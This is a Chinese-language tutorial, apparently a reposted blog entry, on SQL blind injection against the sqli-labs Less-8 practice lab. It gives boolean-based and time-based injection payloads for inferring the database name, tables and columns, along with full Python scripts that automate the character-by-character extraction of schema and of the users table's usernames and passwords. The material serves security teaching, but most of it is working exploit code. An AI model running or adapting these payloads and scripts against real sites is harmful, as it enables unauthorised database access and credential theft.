sql注入漏洞之sql盲注

SQL 盲注方法总结

1.布尔盲注 (构造逻辑判断)

建议使用HackBar
sql注入漏洞之sql盲注_第1张图片

即可以根据返回页面判断真假的注入

?id=1' and 1=1 --+

页面正常
sql注入漏洞之sql盲注_第2张图片

?id=1' and 1=2 --+

页面异常
sql注入漏洞之sql盲注_第3张图片

1.用盲注获取数据库长度

01.判断数据库长度

?id=1' 9>length(database())--+

sql注入漏洞之sql盲注_第4张图片

sql注入漏洞之sql盲注_第5张图片
与判断回显同理,得到当前数据库长度为8

?id=1' and 8=length(database()) --+

sql注入漏洞之sql盲注_第6张图片

2.依次获取数据库数据

例:判断当前数据库第一个字符
①left(database(),1)

left(a,b) 表示从左侧截取a的前b位

?id=1' and 's'=left(database(),1) --+

表示从数据库名字第一个字母是否等于s,是则返回true
sql注入漏洞之sql盲注_第7张图片
前连个字母是否为’se’

1' and 'se'=left(database(),2) --+

sql注入漏洞之sql盲注_第8张图片

②ascii(substr())=n

substr(a,b,c) 截取字符串a,从b位置开始,截取长度为c。
Ascii()将某个字符转换为ascii值

判断第一个字符的ascii为115(s)

?id=1' and 115=ascii(substr(database(),1,1)) --+

sql注入漏洞之sql盲注_第9张图片

3.获取数据表个数

与union select 方法雷同,只是多了一个判断并用循环测试读取数据

查询数据表的个数

select count(table_name) from information_schema.tables where table_schema="security";

利用盲注获取数据表的个数

?id=1' and 5>(select count(table_name) from information_schema.tables where table_schema='security')--+

sql注入漏洞之sql盲注_第10张图片
sql注入漏洞之sql盲注_第11张图片
得到 该数据库中有四个数据表
sql注入漏洞之sql盲注_第12张图片

4.获取数据库的第一个表的第一个字符

第一个表第一个字符为’e’
limit 0,1 表示查询第一个表
limit 1,1 表示查询第二个表
limit 0,2 表示查询前俩个表
substr(a,1,1) a表的第一个字符
substr(a,2,1) a表的第二个字符
substr(a,1,2) a表的前俩个字符

?id=1' and 'e'=substr((select table_name from information_schema.tables where table_schema='security' limit 0,1) ,1,1) --+

sql注入漏洞之sql盲注_第13张图片
第一个表第二个字符为’m’

?id=1' and 'm'=substr((select table_name from information_schema.tables where table_schema='security' limit 0,1) ,2,1) --+

sql注入漏洞之sql盲注_第14张图片

举一反三得到第一个表为emails。

第二个表第一个字符

?id=1' and 'm'=substr((select table_name from information_schema.tables where table_schema='security' limit 1,1) ,1,1) --+

5.获取表的第一个字段的第一个字符

同获取数据表的第一个字符
查询字段的个数

?id=1' and 2=(select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails') --+

字段数为2
sql注入漏洞之sql盲注_第15张图片
获取第一个字段的第一个字符

?id=1' and 'i'=substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1) --+

第一个字符为’i’
sql注入漏洞之sql盲注_第16张图片
第一个字段第二个字符

?id=1' and 'd'=substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),2,1) --+

第二个字符为 ‘d’
sql注入漏洞之sql盲注_第17张图片

6.获取字段中的数据

首先判断内容的条数

select count(`id`) from security.emails;

id字段中第一条数据第一个字符

?id=1' and 1=substr((select `id` from security.emails limit 0,1),1,1) --+

sql注入漏洞之sql盲注_第18张图片
至此,整个基于布尔型的盲注的过程结束

# sqli-lib-less8 sql盲注
'''
#分步代码
#爆表
import requests
url = 'http://127.0.0.1:81/Less-8/?id=1'
for a in range(5):    #第几个表
    flag = ''
    for b in range(1,10):   #表中的字符
        #print(b)
        for c in range(1,129):  #ascii码
            #print(c)
            payload = url + "\' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
            rq = requests.get(payload)
            #print(rq.text)
            if 'You are in' in rq.text:
                flag = flag + chr(c)
                #print("第{}个表的名为{}".format(a,flag))
                break
    print("第{}个表的名为{}".format(a+1,flag))

#爆字段
import requests
url = 'http://127.0.0.1:81/Less-8/?id=1'
for a in range(5):    #第几个字段
    flag = ''
    for b in range(1,10):   #字段字符位
        #print(b)
        for c in range(1,129):  #ascii码
            #print(c)
            payload = url + "\' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
            rq = requests.get(payload)
            #print(rq.text)
            if 'You are in' in rq.text:
                flag = flag + chr(c)
                #print("第{}个表的名为{}".format(a,flag))
                break
    print("第{}个字段的名为{}".format(a+1,flag))

#爆内容
import requests
url = 'http://127.0.0.1:81/Less-8/?id=1'
for a in range(15):    #第几条记录
    flag = ''
    for b in range(1,10):   #记录位
        #print(b)
        for c in range(1,129):  #ascii码
            #print(c)
            #payload = url + "\' and if(ascii(substr((select username from users limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
            payload = url + "\' and if(ascii(substr((select password from users limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
            rq = requests.get(payload)
            #print(rq.text)
            if 'You are in' in rq.text:
                flag = flag + chr(c)
                #print("第{}个表的名为{}".format(a,flag))
                break
    print("第{}条记录:{}".format(a+1,flag))
'''
#集合代码 可以爆出数据库,数据表,字段
import requests                                     # 导入request模块

def db_length():
    #数据库长度
    length = ""
    for a in range(1,10):   
        #print(a)
        payload = url + '\' and length(database()) <= {} --+'.format(int(a))
        r = requests.get(payload)                           # 也可以用长度进行判断
        if 'You are in' in r.text:     # if(len(r.text)==)
            length = a
            break
    print('数据库长度:',a)        
    return length
def db_name(db_length):
    #爆数据库名       
    db_name = ''                                                   
    for a in range(1,db_length+1):                                        #遍历 数据库名的每一位
        for b in range(1,129):                                  #每位字符的ascii
            payload = url + '\' and if (ascii(substr(database(),{0},1))={1},1,0) --+'.format(a,b)
            r = requests.get(payload)                           # 也可以用长度进行判断
            if('You are in' in r.text):     # if(len(r.text)==)
                db_name = db_name + chr(b)
                #print('数据库名为',db_name)
                break
    print('数据库名为',db_name)
    return db_name

def tb_nums(db_name):
    #数据表数
    tb_num = 0
    for i in range(1,10):
        payload = url + '\' and (select count(table_name) from information_schema.tables where table_schema = database()) = {} --+'.format(i)
        #print(payload)
        r = requests.get(payload)
        if 'You are in' in r.text:     # if(len(r.text)==)
            tb_num = i
    print('数据表数:{}'.format(tb_num))
    return tb_num

def tb_name_length(db_name,tb_num):       #数据库名,数据表数
    #所有数据表长度 返回一个列表
    ls = []
    for a in range(1,tb_num+1): 
        for b in range(1,10):  
            #print(a)
            #print(b)
            payload = url + '\' and (select length(table_name) from information_schema.tables where table_schema=\'{}\' limit {},1) = {} --+'.format(db_name,a-1,b)
            #print(payload)
            r = requests.get(payload)                           # 也可以用长度进行判断
            if 'You are in' in r.text:     # if(len(r.text)==)
                ls.append(b)
                break
            #print(ls)
        print('第{}个数据表长度:{}'.format(int(a),ls[int(a)-1]))
    return ls

def tb_names(db_name,tb_num,tb_num_length):         #传入数据库名 数据表个数 所有数据表长度的列表
    #数据表名
    ls = []                      #返回所有数据表名放入列表中
    for a in range(0,tb_num):    #第几个表
        flag = ''
        x = tb_num_length[a]
        for b in range(1,int(x)+1):   #表的字符位
            #print(b)
            for c in range(1,129):  #ascii码
                #print(c)
                payload = url + "\' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)) = {},1,0) --+".format(db_name,a,b,c)
                rq = requests.get(payload)
                #print(rq.text)
                if 'You are in' in rq.text:
                    flag = flag + chr(c)
                    #print("第{}个表的名为{}".format(a+1,flag))
                    break
        print("第{}个表的名为{}".format(a+1,flag))
        ls.append(flag)
    return ls
    
def cl_nums(db_name,tb_name_list):       #数据库名,所有数据表
    #根据数据表依次返回对应字段个数 返回一个列表
    ls = []
    for a in tb_name_list:         #表名
        for b in range(1,10):        #字段个数
            payload = url + "\' and (select count(column_name) from information_schema.columns where table_schema='{}' and table_name='{}') = {} --+".format(db_name,a,b)
            #print(payload)
            r = requests.get(payload)                           # 也可以用长度进行判断
            if 'You are in' in r.text:     # if(len(r.text)==)
                ls.append(b)
                break
        print('数据表{}字段数:{}'.format(a,ls[tb_name_list.index(a)]))
    #print(ls)
    return ls

def cl_name_dict(db_name,tb_name_list,tb_nums,cl_nums):       #数据库名,所有数据表
    #根据数据表依次返回对应字段 返回一个字典
    d = {}
    for i in range(tb_nums):     #表数   表名:tb_name_list[i]
        flag = ''
        for a in range(cl_nums[i]):      #字段
            for b in range(1,10):    #字符 
                for c in range(1,128):     #ascii
                    payload = url + "\' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)) = {},1,0) --+".format(db_name,tb_name_list[i],a,b,c)
                    #print(payload)
                    r = requests.get(payload)                           # 也可以用长度进行判断
                    if 'You are in' in r.text:     # if(len(r.text)==)
                        flag += chr(c)
                        break
            flag += ','
        d[tb_name_list[i]] = flag
        print('数据表{}:字段{}'.format(tb_name_list[i],d[tb_name_list[i]]))
    #print(d)
    return d

if __name__ == '__main__':
    global url
    url = 'http://127.0.0.1:81/Less-8/?id=1'
    db_length = db_length()                      
    db_name = db_name(db_length)                             #数据库长度变量 传入 数据库名称函数

    tb_num = tb_nums(db_name)                                #数据表数量
    tb_length_list = tb_name_length(db_name,tb_num)          #返回一个列表(所有表长度)给tb_length_list
    tb_name_list = tb_names(db_name,tb_num,tb_length_list)   #返回一个列表(所有表长度)给tb_name_list

    cl_num = cl_nums(db_name,tb_name_list)                            #返回一个列表(所有表对应的字段数)给tb_name_list
    cl_name_dict(db_name,tb_name_list,tb_num,cl_num)         #返回一个字典(表对应的字段)
'''
#爆内容   利用已知数据库、数据表、字段
import requests
url = 'http://127.0.0.1:81/Less-8/?id=1'
for a in range(15):    #第几条记录
    flag = ''
    for b in range(1,10):   #记录位
        #print(b)
        for c in range(1,129):  #ascii码
            #print(c)
            #payload = url + "\' and if(ascii(substr((select username from users limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
            payload = url + "\' and if(ascii(substr((select password from users limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
            rq = requests.get(payload)
            #print(rq.text)
            if 'You are in' in rq.text:
                flag = flag + chr(c)
                #print("第{}个表的名为{}".format(a,flag))
                break
    print("第{}条记录:{}".format(a+1,flag))
'''

sql注入漏洞之sql盲注_第19张图片

2.时间盲注

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
这里我们需要打开浏览器的控制台,点网络选项进行查看

?id=1' and sleep(5) --+

如何获取数据?其实就是在盲注的基础上加了个if语句
例如测试当前数据库的字符数

?id=1' if(length(database())=8,sleep(5),0)--+

在这里插入图片描述

如果当前数据库字符数为8 页面就是延迟5s 否则 返回0

如何获取数据?其实很简单,就是在布尔盲注的基础上加了个if语句

?id=1' and if(115=ascii(substr(database(),1,1)),sleep(5),0)--+

在这里插入图片描述

3.基于报错注入

你可能感兴趣的:(安全,mysql)